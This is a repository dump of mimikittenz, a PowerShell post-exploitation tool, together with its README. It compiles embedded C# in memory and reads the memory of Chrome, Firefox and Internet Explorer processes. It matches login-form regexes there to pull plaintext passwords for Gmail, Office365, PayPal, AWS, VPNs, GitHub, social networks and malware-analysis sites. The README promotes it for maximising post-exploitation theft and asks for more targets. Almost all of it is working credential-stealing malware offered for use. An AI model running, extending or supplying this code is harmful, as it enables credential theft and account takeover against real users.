├── Invoke-mimikittenz.ps1 └── README.md /Invoke-mimikittenz.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-mimikittenz 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Extracts juicy info from memory. 7 | 8 | Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470) 9 | License: https://creativecommons.org/licenses/by/4.0/ 10 | 11 | 12 | .DESCRIPTION 13 | 14 | Utilizes Windows function ReadProcessMemory() to extract juicy information from target process memory using regex. 15 | 16 | .EXAMPLE 17 | 18 | Invoke-mimikittenz 19 | 20 | .NOTES 21 | 22 | Depending on each process cleanup, process generally must be running in order to extract info. 23 | #> 24 | 25 | 26 | $asciiart = @" 27 | 4pSA4pSA4pSA4paQ4paA4paE4pSA4pSA4pSA4pSA4pSA4pSA4paE4paA4paM4pSA4pSA4pSA4paE4paE4paE4paE4paE4paE4paE4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilozilpLilpLiloDiloTiloTiloTiloTiloDilpLilpLilpDiloTiloDiloDilpLilojilojilpLilojilojilpLiloDiloDiloTilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCuKUgOKUgOKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWgOKWhOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paM4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paA4paE4pSA4pSA4pSA4pSA4pSA4pSADQriloDilojilpLilpLilojilozilpLilpLilojilpLilpLilpDilojilpLilpLiloDilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKWgOKWjOKWkuKWkuKWkuKWkuKWkuKWgOKWkuKWgOKWkuKWkuKWkuKWkuKWkuKWgOKWgOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKWhOKWhA0K4paQ4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paM4paE4paI4paS4paIDQrilpDilpLilpLilpLilpJtaW1pa2l0dGVuei0xLjAtYWxwaGHilpLilpLilpLilpLilpLilpLilpLilpLilpLilpDilpLilojiloDilIANCuKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKWgOKUgOKUgOKUgA0K4paQ4paS4paS4paS4paS4paS4paSQ0FOIEkgSEFaIFdBTT/ilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIANCuKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgA0K4pSA4paQ4paS4paS4paSamFtaWVzb25AZHJpbmdlbnNlYy5jb23ilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKUgOKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paQ4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paM4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilIDiloDiloTiloTiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDilIDilIDilIDilIDilIDilIDilIDilIA= 28 | "@ 29 | $Source2 = @" 30 | using System; 31 | using System.Collections.Generic; 32 | using System.Text; 33 | using System.Diagnostics; 34 | using System.Runtime.InteropServices; 35 | using System.Text.RegularExpressions; 36 | using System.IO; 37 | 38 | namespace mimikittenz 39 | { 40 | public class MemProcInspector 41 | { 42 | static MemProcInspector() 43 | { 44 | InitRegexes(); 45 | } 46 | 47 | 48 | 49 | public static void SaveToFile(string fileName, List matches) 50 | { 51 | StringBuilder builder = new StringBuilder(); 52 | foreach (MatchInfo s in matches) 53 | { 54 | builder.AppendLine(s.PatternMatch); 55 | } 56 | File.WriteAllText(fileName, builder.ToString()); 57 | 58 | } 59 | 60 | public static void AddRegex(string name, string pattern) 61 | { 62 | regexes.Add(new RegexRecord(name, pattern)); 63 | } 64 | 65 | public static List regexes = new List(); 66 | 67 | public static List InspectManyProcs(params string[] procNames) 68 | { 69 | 70 | 71 | 72 | List lstMatch = new List(); 73 | string res = "None"; 74 | foreach (string procName in procNames) 75 | { 76 | try 77 | { 78 | 79 | Process[] procs = Process.GetProcessesByName(procName); 80 | foreach (Process pr in procs) 81 | { 82 | Process process = pr; 83 | 84 | res = InspectProc(process, ref lstMatch); 85 | 86 | } 87 | } 88 | catch (Exception ex) 89 | { 90 | res = ex.Message; 91 | res = ex.StackTrace; 92 | } 93 | } 94 | List lstToReturn = new List(); 95 | 96 | return lstMatch; 97 | } 98 | 99 | private static void InitRegexes() 100 | { 101 | regexes.Clear(); 102 | } 103 | 104 | 105 | 106 | private static string InspectProc(Process process, ref List lstMatch) 107 | { 108 | string res = ""; 109 | IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id); 110 | if (processHandle.ToInt64() == 0) 111 | { 112 | int err = Marshal.GetLastWin32Error(); 113 | 114 | } 115 | 116 | res = SearchProc(processHandle, ref lstMatch); 117 | MInterop.CloseHandle(processHandle); 118 | return res; 119 | } 120 | 121 | private static string SearchProc(IntPtr processHandle, ref List lstMatch) 122 | { 123 | string res = ""; 124 | MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO(); 125 | MInterop.GetSystemInfo(out si); 126 | 127 | long createdSize = 1; 128 | byte[] lpBuffer = new byte[createdSize]; 129 | 130 | Int64 total = 0; 131 | 132 | long regionStart = si.minimumApplicationAddress.ToInt64(); //(BYTE*)si.lpMinimumApplicationAddress; 133 | bool skipRegion = false; 134 | bool stop = false; 135 | //while (regionStart < Math.Min(0x7ffeffff, si.maximumApplicationAddress.ToInt64()) && !stop) 136 | while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop) 137 | { 138 | //MInterop.MEMORY_BASIC_INFORMATION memInfo; 139 | MInterop.MEMORY_BASIC_INFORMATION memInfo; 140 | 141 | long regionRead = 0; 142 | long regionSize; 143 | int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION))); 144 | if (resulq == 0) 145 | { 146 | //XVERBOSE(L"VirtualQueryEx error %d\n", GetLastError()); 147 | int err = Marshal.GetLastWin32Error(); 148 | Marshal.ThrowExceptionForHR(err); 149 | break; 150 | } 151 | regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart); 152 | if (MInterop.IsDataRegion(memInfo) == false) 153 | { 154 | 155 | } 156 | if (skipRegion) 157 | { 158 | skipRegion = false; 159 | } 160 | else 161 | if (MInterop.IsDataRegion(memInfo)) 162 | { 163 | 164 | if (createdSize < regionSize) 165 | { 166 | createdSize = regionSize; 167 | lpBuffer = new byte[createdSize]; 168 | } 169 | bool resRead = false; 170 | try 171 | { 172 | resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead); 173 | } 174 | catch //(AccessViolationException ex) 175 | { 176 | resRead = false; 177 | } 178 | // result |= SearchRegion(process, regionStart, regionSize, regexData, regionRead, buffer); 179 | regionSize = (int)regionRead; 180 | if (!resRead) 181 | { 182 | // looks like the memory state has been altered by the target process 183 | // between our VirtualQueryEx and ReadProcessMemory calls -> 184 | // learn the size of the changed region and jump over it on the next iteration 185 | skipRegion = true; 186 | //XVERBOSE(L"Skipping a non-readable region\n"); 187 | } 188 | if (resRead) 189 | { 190 | List strsTolook = new List(); 191 | string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead); 192 | string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1); 193 | string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead); 194 | strsTolook.Add(str1); 195 | strsTolook.Add(str4); 196 | strsTolook.Add(str11); 197 | 198 | foreach (RegexRecord regexRec in regexes) 199 | { 200 | 201 | foreach (string str in strsTolook) 202 | { 203 | MatchCollection matches3 = regexRec.Regex.Matches(str); 204 | if (matches3.Count > 0) 205 | { 206 | for (int i = 0; i < matches3.Count; i++) 207 | if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false) 208 | { 209 | MatchInfo m = new MatchInfo(); 210 | m.PatternName = regexRec.Name; 211 | m.PatternMatch = matches3[i].Value; 212 | 213 | lstMatch.Add(m); 214 | } 215 | res = matches3[0].Value; 216 | 217 | 218 | } 219 | } 220 | } 221 | 222 | 223 | } 224 | 225 | total += regionSize; 226 | } 227 | regionStart += regionSize; 228 | //stop = IsStop(stopEvent); 229 | } 230 | //XVERBOSE(L"Totally searched %lu bytes\n", total); 231 | //return result; 232 | return res; 233 | } 234 | 235 | private static bool IsMatchesContain(List matches, string val) 236 | { 237 | foreach (MatchInfo item in matches) 238 | { 239 | if (string.Compare(item.PatternMatch, val) == 0) 240 | return true; 241 | } 242 | return false; 243 | } 244 | 245 | private static bool IsRegexRecordsContain(string pattern) 246 | { 247 | foreach (RegexRecord item in regexes) 248 | { 249 | if (string.Compare(item.Pattern, pattern) == 0) 250 | return true; 251 | } 252 | return false; 253 | } 254 | 255 | 256 | const int MAX_PREFIX_LENGTH = 1; 257 | // the essence 258 | // estimated upper limit to allocate enough buffers 259 | const int MAX_MATCH_LENGTH = 1024; 260 | 261 | // the buffer should be large enough to contain at least MAX_CHECK_LENGTH*sizeof(wchar_t) bytes 262 | const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024); 263 | // the upper limit of the buffer size 264 | const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024); 265 | 266 | 267 | } 268 | 269 | public class MatchInfo 270 | { 271 | 272 | public string PatternName; 273 | public string PatternMatch; 274 | 275 | // public string ProccesName { get; set; } 276 | 277 | } 278 | public class RegexRecord 279 | { 280 | Regex mRegex; 281 | 282 | protected RegexRecord() 283 | { 284 | 285 | } 286 | 287 | public RegexRecord(string name, string pattern) 288 | { 289 | Name = name; 290 | Pattern = pattern; 291 | mRegex = new Regex(pattern); 292 | } 293 | 294 | public Regex Regex { get { return mRegex; } } 295 | 296 | 297 | 298 | public string Name; 299 | 300 | 301 | public string Pattern; 302 | 303 | 304 | 305 | } 306 | 307 | public class MInterop 308 | { 309 | [DllImport("kernel32.dll", SetLastError = true)] 310 | [return: MarshalAs(UnmanagedType.Bool)] 311 | public static extern bool CloseHandle(IntPtr hObject); 312 | 313 | [DllImport("kernel32.dll", SetLastError = true)] 314 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 315 | 316 | [DllImport("kernel32.dll", SetLastError = true)] 317 | public static extern bool ReadProcessMemory(IntPtr hProcess, 318 | IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead); 319 | 320 | public const int PROCESS_WM_READ = 0x0010; 321 | public const int PROCESS_QUERY_INFORMATION = 0x00000400; 322 | 323 | [DllImport("kernel32.dll", SetLastError = true)] 324 | public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength); 325 | 326 | [StructLayout(LayoutKind.Sequential)] 327 | public struct MEMORY_BASIC_INFORMATION32 328 | { 329 | public IntPtr BaseAddress; 330 | public IntPtr AllocationBase; 331 | public uint AllocationProtect; 332 | public IntPtr RegionSize; 333 | public uint State; 334 | public uint Protect; 335 | public uint Type; 336 | } 337 | [StructLayout(LayoutKind.Sequential)] 338 | public struct MEMORY_BASIC_INFORMATION 339 | { 340 | public IntPtr BaseAddress; 341 | public IntPtr AllocationBase; 342 | public uint AllocationProtect; 343 | public short aligment; 344 | public IntPtr RegionSize; 345 | public uint State; 346 | public uint Protect; 347 | public uint Type; 348 | public short aligment2; 349 | } 350 | 351 | public enum AllocationProtect : uint 352 | { 353 | PAGE_EXECUTE = 0x00000010, 354 | PAGE_EXECUTE_READ = 0x00000020, 355 | PAGE_EXECUTE_READWRITE = 0x00000040, 356 | PAGE_EXECUTE_WRITECOPY = 0x00000080, 357 | PAGE_NOACCESS = 0x00000001, 358 | PAGE_READONLY = 0x00000002, 359 | PAGE_READWRITE = 0x00000004, 360 | PAGE_WRITECOPY = 0x00000008, 361 | PAGE_GUARD = 0x00000100, 362 | PAGE_NOCACHE = 0x00000200, 363 | PAGE_WRITECOMBINE = 0x00000400 364 | } 365 | 366 | [StructLayout(LayoutKind.Sequential)] 367 | public struct SYSTEM_INFO 368 | { 369 | public ushort processorArchitecture; 370 | ushort reserved; 371 | public uint pageSize; 372 | public IntPtr minimumApplicationAddress; 373 | public IntPtr maximumApplicationAddress; 374 | public IntPtr activeProcessorMask; 375 | public uint numberOfProcessors; 376 | public uint processorType; 377 | public uint allocationGranularity; 378 | public ushort processorLevel; 379 | public ushort processorRevision; 380 | } 381 | 382 | [DllImport("kernel32.dll")] 383 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); 384 | 385 | public enum StateEnum : uint 386 | { 387 | MEM_COMMIT = 0x1000, 388 | MEM_FREE = 0x10000, 389 | MEM_RESERVE = 0x2000 390 | } 391 | 392 | public enum TypeEnum : uint 393 | { 394 | MEM_IMAGE = 0x1000000, 395 | MEM_MAPPED = 0x40000, 396 | MEM_PRIVATE = 0x20000 397 | } 398 | 399 | internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo) 400 | { 401 | 402 | bool res = // check this is a live (not free/reserved) memory 403 | (memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 && 404 | // don't examine memory mapped files sections / PE images 405 | // (memInfo.Type & (uint)TypeEnum.MEM_PRIVATE) != 0 && 406 | // don't read PAGE_GUARD memory to avoid altering target state 407 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0 408 | && 409 | // make sure the memory is readable 410 | (memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE | 411 | (uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0; 412 | 413 | return res; 414 | } 415 | 416 | public enum ProcessAccessTypes 417 | { 418 | PROCESS_TERMINATE = 0x00000001, 419 | PROCESS_CREATE_THREAD = 0x00000002, 420 | PROCESS_SET_SESSIONID = 0x00000004, 421 | PROCESS_VM_OPERATION = 0x00000008, 422 | PROCESS_VM_READ = 0x00000010, 423 | PROCESS_VM_WRITE = 0x00000020, 424 | PROCESS_DUP_HANDLE = 0x00000040, 425 | PROCESS_CREATE_PROCESS = 0x00000080, 426 | PROCESS_SET_QUOTA = 0x00000100, 427 | PROCESS_SET_INFORMATION = 0x00000200, 428 | PROCESS_QUERY_INFORMATION = 0x00000400, 429 | STANDARD_RIGHTS_REQUIRED = 0x000F0000, 430 | SYNCHRONIZE = 0x00100000, 431 | PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION | 432 | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA | 433 | PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION | STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE 434 | } 435 | } 436 | } 437 | 438 | 439 | "@ 440 | 441 | $inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters 442 | $inmem.GenerateInMemory=1 443 | $inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location)))) 444 | 445 | Add-Type -TypeDefinition $Source2 -Language CSharp -CompilerParameters $inmem 446 | 447 | [mimikittenz.MemProcInspector]::regexes.Clear() 448 | #Internet Banking 449 | #Err... Taken out for good measure 450 | 451 | #Web E-mail 452 | 453 | #Gmail 454 | [mimikittenz.MemProcInspector]::AddRegex("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie=") 455 | 456 | 457 | #Web Services 458 | 459 | #Dropbox 460 | [mimikittenz.MemProcInspector]::AddRegex("Dropbox","login_email=.{1,99}&login_password=.{1,99}&") 461 | #SalesForce (Needs fix) 462 | #[mimikittenz.MemProcInspector]::AddRegex("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login=") 463 | #Office365 464 | [mimikittenz.MemProcInspector]::AddRegex("Office365","login=.{1,32}&passwd=.{1,22}&PPSX=") 465 | #Microsoft OneDrive 466 | [mimikittenz.MemProcInspector]::AddRegex("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT=") 467 | #PayPal 468 | [mimikittenz.MemProcInspector]::AddRegex("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name") 469 | #AWS Web Services 470 | [mimikittenz.MemProcInspector]::AddRegex("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=") 471 | #Outlook Web 2015 472 | [mimikittenz.MemProcInspector]::AddRegex("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText") 473 | #Slack 474 | [mimikittenz.MemProcInspector]::AddRegex("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}") 475 | #CitrixOnline 476 | [mimikittenz.MemProcInspector]::AddRegex("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit") 477 | 478 | #Accounting 479 | 480 | #Xero 481 | [mimikittenz.MemProcInspector]::AddRegex("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken=") 482 | #MYOB 483 | [mimikittenz.MemProcInspector]::AddRegex("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe=") 484 | #SSL-VPN's 485 | 486 | #Juniper SSL-VPN 487 | [mimikittenz.MemProcInspector]::AddRegex("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit=") 488 | 489 | 490 | #Social Media 491 | 492 | #Twitter 493 | [mimikittenz.MemProcInspector]::AddRegex("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me=") 494 | #Facebook 495 | [mimikittenz.MemProcInspector]::AddRegex("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&default_persistent=") 496 | #LinkedIN 497 | [mimikittenz.MemProcInspector]::AddRegex("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled") 498 | 499 | #Anti-Forensics 500 | 501 | #Malwr 502 | [mimikittenz.MemProcInspector]::AddRegex("Malwr","&username=.{1,32}&password=.{1,22}&next=") 503 | #VirusTotal 504 | [mimikittenz.MemProcInspector]::AddRegex("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json") 505 | #AnubisLabs 506 | [mimikittenz.MemProcInspector]::AddRegex("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login") 507 | 508 | #Remote Access 509 | 510 | #Citrix NetScaler 511 | [mimikittenz.MemProcInspector]::AddRegex("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}") 512 | #Remote Desktop Web Access 2012 513 | [mimikittenz.MemProcInspector]::AddRegex("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType") 514 | 515 | 516 | 517 | #Dev Related 518 | 519 | #Jira 520 | [mimikittenz.MemProcInspector]::AddRegex("JIRA","username=.{1,50}&password=.{1,50}&rememberMe") 521 | #Redmine 522 | [mimikittenz.MemProcInspector]::AddRegex("Redmine","username=.{1,50}&password=.{1,50}&login=Login") 523 | #Github 524 | [mimikittenz.MemProcInspector]::AddRegex("Github","%3D%3D&login=.{1,50}&password=.{1,50}") 525 | #Bugzilla 526 | [mimikittenz.MemProcInspector]::AddRegex("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}") 527 | #Zendesk 528 | [mimikittenz.MemProcInspector]::AddRegex("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}") 529 | #Cpanel 530 | [mimikittenz.MemProcInspector]::AddRegex("Cpanel","user=.{1,50}&pass=.{1,50}") 531 | [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($asciiart)) 532 | $matchesFound=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox") 533 | 534 | write-output $matchesFound 535 | } 536 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mimikittenz 2 | 3 | **`mimikittenz`** is a post-exploitation powershell tool that utilizes the Windows function **`ReadProcessMemory()`** in order to extract plain-text passwords from various target processes. 4 | 5 | **`mimikittenz`** can also easily extract other kinds of juicy info from target processes using regex patterns including but not limited to: 6 | 7 | - TRACK2 (CreditCard) data from merchant/POS processes 8 | - PII data 9 | - Encryption Keys & All the other goodstuff 10 | 11 | *note*: This tool is targeting running process memory address space, once a process is killed it's memory 'should' be cleaned up and inaccessible however there are some edge cases in which this does not happen. 12 | 13 | # Screenshot(s) 14 | 15 | ![](http://i.imgur.com/SXP84B5.png) 16 | 17 | 18 | # Description 19 | 20 | The aim of `mimikittenz` is to provide user-level (non-admin privileged) sensitive data extraction in order to maximise post exploitation efforts and increase value of information gathered per target. 21 | 22 | Currently `mimikittenz` is able to extract the following credentials from memory: 23 | 24 | #####Webmail##### 25 | 26 | - Gmail 27 | - Office365 28 | - Outlook Web 29 | 30 | #####Accounting##### 31 | 32 | - Xero 33 | - MYOB 34 | 35 | #####Remote Access##### 36 | 37 | - Juniper SSL-VPN 38 | - Citrix NetScaler 39 | - Remote Desktop Web Access 2012 40 | 41 | #####Development##### 42 | 43 | - Jira 44 | - Github 45 | - Bugzilla 46 | - Zendesk 47 | - Cpanel 48 | 49 | #####IHateReverseEngineers##### 50 | 51 | - Malwr 52 | - VirusTotal 53 | - AnubisLabs 54 | 55 | #####Misc##### 56 | 57 | - Dropbox 58 | - Microsoft Onedrive 59 | - AWS Web Services 60 | - Slack 61 | - Twitter 62 | - Facebook 63 | 64 | 65 | # License 66 | 67 | https://creativecommons.org/licenses/by/4.0/ 68 | 69 | # Customization 70 | 71 | - Custom regex - The syntax for adding custom regex is as follows: 72 | 73 | `[mimikittenz.MemProcInspector]::AddRegex("","")` 74 | 75 | - Custom target process - Just append your target process name into the array: 76 | 77 | `[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")` 78 | # Contributions 79 | 80 | I'd love to see the list of regex's and target processe's grow in order to build a comprehensive post-exploitaiton hit list. 81 | --------------------------------------------------------------------------------